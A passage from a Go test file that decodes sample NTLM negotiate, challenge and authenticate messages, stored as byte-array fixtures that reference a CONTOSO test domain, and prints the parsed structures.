0x0a, 0x00, 0x61, 0x4a,\n\t\t0x00, 0x00, 0x00, 0x0,\n\t}\n\n\tChallengeMessageBytesSampleD = []byte{\n\t\t0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00,\n\t\t0x0e, 0x00, 0x0e, 0x00, 0x38, 0x00, 0x00, 0x00, 0x15, 0x82, 0x89, 0xe2,\n\t\t0xe3, 0x52, 0x63, 0x2b, 0x6f, 0xae, 0xd1, 0xf5, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00,\n\t\t0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00,\n\t\t0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00,\n\t\t0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00,\n\t\t0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00,\n\t\t0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00,\n\t\t0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00,\n\t\t0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,\n\t\t0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00,\n\t\t0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00,\n\t\t0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00,\n\t\t0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00,\n\t\t0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00,\n\t\t0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00,\n\t\t0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00,\n\t\t0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00,\n\t\t0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00,\n\t\t0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x8b, 0x91, 0x85, 0xe8,\n\t\t0xf7, 0x72, 0xd8, 0x01, 0x00, 0x00, 0x00, 0x00,\n\t}\n\n\tAuthenticateMessageBytesSampleD = []byte{\n\t\t0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00,\n\t\t0x18, 0x00, 0x18, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x80, 0x01, 0x80, 0x01,\n\t\t0xb8, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00, 0x58, 0x00, 0x00, 0x00,\n\t\t0x10, 0x00, 0x10, 0x00, 0x72, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x1e, 0x00,\n\t\t0x82, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x38, 0x02, 0x00, 0x00,\n\t\t0x15, 0x82, 0x88, 0xe2, 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f,\n\t\t0xec, 0x52, 0xec, 0x01, 0xff, 0x08, 0x19, 0xd5, 0xca, 0x96, 0xc8, 0x42,\n\t\t0xb3, 0xe8, 0x75, 0xb6, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,\n\t\t0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,\n\t\t0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00,\n\t\t0x6f, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x44, 0x00,\n\t\t0x45, 0x00, 0x53, 0x00, 0x4b, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x50, 0x00,\n\t\t0x2d, 0x00, 0x4e, 0x00, 0x49, 0x00, 0x44, 0x00, 0x34, 0x00, 0x34, 0x00,\n\t\t0x35, 0x00, 0x4d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x62, 0x4e, 0xef, 0x9e, 0xf2, 0x90, 0x71, 0x08,\n\t\t0xf4, 0x67, 0x7e, 0x42, 0x7a, 0x89, 0xee, 0x2e, 0x01, 0x01, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x8b, 0x91, 0x85, 0xe8, 0xf7, 0x72, 0xd8, 0x01,\n\t\t0xaf, 0xd2, 0xa4, 0xbb, 0xe2, 0x24, 0x31, 0x66, 0x00, 0x00, 0x00, 0x00,\n\t\t0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,\n\t\t0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00,\n\t\t0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00,\n\t\t0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00,\n\t\t0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00,\n\t\t0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00,\n\t\t0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00,\n\t\t0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00,\n\t\t0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00,\n\t\t0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00,\n\t\t0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00,\n\t\t0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00,\n\t\t0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,\n\t\t0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,\n\t\t0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x8b, 0x91,\n\t\t0x85, 0xe8, 0xf7, 0x72, 0xd8, 0x01, 0x06, 0x00, 0x04, 0x00, 0x02, 0x00,\n\t\t0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x14, 0x1a,\n\t\t0x38, 0x76, 0xf8, 0x9c, 0x6e, 0x45, 0xd8, 0x92, 0xf5, 0xb4, 0x0e, 0x64,\n\t\t0x2f, 0xe9, 0xca, 0x41, 0x72, 0x52, 0x24, 0xb0, 0xd6, 0x96, 0x37, 0x81,\n\t\t0xbf, 0xef, 0xd7, 0x94, 0xf5, 0xe9, 0x0a, 0x00, 0x10, 0x00, 0x34, 0xb4,\n\t\t0xc6, 0x93, 0xe6, 0x05, 0xec, 0xf5, 0x37, 0x4d, 0xf9, 0x5a, 0xac, 0xa2,\n\t\t0x6b, 0xf3, 0x09, 0x00, 0x3e, 0x00, 0x48, 0x00, 0x54, 0x00, 0x54, 0x00,\n\t\t0x50, 0x00, 0x2f, 0x00, 0x73, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2e, 0x00,\n\t\t0x63, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x6f, 0x00, 0x73, 0x00,\n\t\t0x6f, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6f, 0x00,\n\t\t0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00,\n\t\t0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0xeb, 0xdf, 0x0e, 0xc1, 0xf7, 0xde, 0xb8, 0x3c,\n\t\t0x1c, 0xfe, 0x69, 0x25, 0xf7, 0x22, 0x16, 0x5a,\n\t}\n)\n\nfunc TestDecodeNegotiateMessageSampleA(t *testing.T) {\n\tvar err error\n\n\tNegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleA)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding negotiate message: %v\", err)\n\t}\n\n\tspew.Dump(NegotiateMessage)\n}\n\nfunc TestDecodeChallengeMessageSampleA(t *testing.T) {\n\tvar err error\n\n\tChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleA)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding challenge message: %v\", err)\n\t}\n\n\tspew.Dump(ChallengeMessage)\n}\n\nfunc TestDecodeAuthenticateMessageSampleA(t *testing.T) {\n\tvar err error\n\n\tAuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleA)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding challenge message: %v\", err)\n\t}\n\n\tspew.Dump(AuthenticateMessage)\n}\n\nfunc TestDecodeNegotiateMessageSampleB(t *testing.T) {\n\tvar err error\n\n\tNegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleB)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding negotiate message: %v\", err)\n\t}\n\n\tspew.Dump(NegotiateMessage)\n}\n\nfunc TestDecodeChallengeMessageSampleB(t *testing.T) {\n\tvar err error\n\n\tChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleB)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding challenge message: %v\", err)\n\t}\n\n\tspew.Dump(ChallengeMessage)\n}\n\nfunc TestDecodeAuthenticateMessageSampleB(t *testing.T) {\n\tvar err error\n\n\tAuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleB)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding challenge message: %v\", err)\n\t}\n\n\tspew.Dump(AuthenticateMessage)\n}\n\nfunc TestDecodeNegotiateMessageSampleC(t *testing.T) {\n\tvar err error\n\n\tNegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleC)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding negotiate message: %v\", err)\n\t}\n\n\tspew.Dump(NegotiateMessage)\n}\n\nfunc TestDecodeChallengeMessageSampleC(t *testing.T) {\n\tvar err error\n\n\tChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleC)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding challenge message: %v\", err)\n\t}\n\n\tspew.Dump(ChallengeMessage)\n}\n\nfunc TestDecodeAuthenticateMessageSampleC(t *testing.T) {\n\tvar err error\n\n\tAuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleC)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding challenge message: %v\", err)\n\t}\n\n\tspew.Dump(*AuthenticateMessage)\n}\n\nfunc TestDecodeNegotiateMessageSampleD(t *testing.T) {\n\tvar err error\n\n\tNegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleD)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding negotiate message: %v\", err)\n\t}\n\n\tspew.Dump(NegotiateMessage)\n}\n\nfunc TestDecodeChallengeMessageSampleD(t *testing.T) {\n\tvar err error\n\n\tChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleD)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding challenge message: %v\", err)\n\t}\n\n\tspew.Dump(ChallengeMessage)\n}\n\nfunc TestDecodeAuthenticateMessageSampleD(t *testing.T) {\n\tvar err error\n\n\tAuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleD)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding challenge message: %v\", err)\n\t}\n\n\tspew.Dump(*AuthenticateMessage)\n}\n\nfunc TestFullDecodeSampleA(t *testing.T) {\n\tdecodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleA)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding message: %v\", err)\n\t\treturn\n\t}\n\n\tswitch v := decodedNegotiateMessage.(type) {\n\tcase *NEGOTIATE_MESSAGE:\n\t\tspew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE)))\n\tdefault:\n\t\tt.Errorf(\"did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T\", v)\n\t}\n\n\tdecodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleA)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding message: %v\", err)\n\t\treturn\n\t}\n\n\tswitch v := decodedChallengeMessage.(type) {\n\tcase *CHALLENGE_MESSAGE:\n\t\tspew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE)))\n\tdefault:\n\t\tt.Errorf(\"did not properly identify message as a *CHALLENGE_MESSAGE, got : %T\", v)\n\t}\n\n\tdecodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleA)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding message: %v\", err)\n\t\treturn\n\t}\n\n\tswitch v := decodedAuthenticateMessage.(type) {\n\tcase *AUTHENTICATE_MESSAGE:\n\t\tspew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE)))\n\tdefault:\n\t\tt.Errorf(\"did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T\", v)\n\t}\n}\n\nfunc TestFullDecodeSampleB(t *testing.T) {\n\tdecodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleB)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding message: %v\", err)\n\t\treturn\n\t}\n\n\tswitch v := decodedNegotiateMessage.(type) {\n\tcase *NEGOTIATE_MESSAGE:\n\t\tspew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE)))\n\tdefault:\n\t\tt.Errorf(\"did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T\", v)\n\t}\n\n\tdecodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleB)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding message: %v\", err)\n\t\treturn\n\t}\n\n\tswitch v := decodedChallengeMessage.(type) {\n\tcase *CHALLENGE_MESSAGE:\n\t\tspew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE)))\n\tdefault:\n\t\tt.Errorf(\"did not properly identify message as a *CHALLENGE_MESSAGE, got : %T\", v)\n\t}\n\n\tdecodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleB)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding message: %v\", err)\n\t\treturn\n\t}\n\n\tswitch v := decodedAuthenticateMessage.(type) {\n\tcase *AUTHENTICATE_MESSAGE:\n\t\tspew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE)))\n\tdefault:\n\t\tt.Errorf(\"did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T\", v)\n\t}\n}\n\nfunc TestFullDecodeSampleC(t *testing.T) {\n\tdecodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleC)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding message: %v\", err)\n\t\treturn\n\t}\n\n\tswitch v := decodedNegotiateMessage.(type) {\n\tcase *NEGOTIATE_MESSAGE:\n\t\tspew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE)))\n\tdefault:\n\t\tt.Errorf(\"did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T\", v)\n\t}\n\n\tdecodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleC)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding message: %v\", err)\n\t\treturn\n\t}\n\n\tswitch v := decodedChallengeMessage.(type) {\n\tcase *CHALLENGE_MESSAGE:\n\t\tspew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE)))\n\tdefault:\n\t\tt.Errorf(\"did not properly identify message as a *CHALLENGE_MESSAGE, got : %T\", v)\n\t}\n\n\tdecodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleC)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding message: %v\", err)\n\t\treturn\n\t}\n\n\tswitch v := decodedAuthenticateMessage.(type) {\n\tcase *AUTHENTICATE_MESSAGE:\n\t\tspew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE)))\n\tdefault:\n\t\tt.Errorf(\"did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T\", v)\n\t}\n}\n\nfunc TestFullDecodeSampleD(t *testing.T) {\n\tdecodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleD)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding message: %v\", err)\n\t\treturn\n\t}\n\n\tswitch v := decodedNegotiateMessage.(type) {\n\tcase *NEGOTIATE_MESSAGE:\n\t\tspew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE)))\n\tdefault:\n\t\tt.Errorf(\"did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T\", v)\n\t}\n\n\tdecodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleD)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding message: %v\", err)\n\t\treturn\n\t}\n\n\tswitch v := decodedChallengeMessage.(type) {\n\tcase *CHALLENGE_MESSAGE:\n\t\tspew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE)))\n\tdefault:\n\t\tt.Errorf(\"did not properly identify message as a *CHALLENGE_MESSAGE, got : %T\", v)\n\t}\n\n\tdecodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleD)\n\tif err != nil {\n\t\tt.Errorf(\"error decoding message: %v\", err)\n\t\treturn\n\t}\n\n\tswitch v := decodedAuthenticateMessage.(type) {\n\tcase *AUTHENTICATE_MESSAGE:\n\t\tspew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE)))\n\tdefault:\n\t\tt.Errorf(\"did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T\", v)\n\t}\n}\n"
  }
]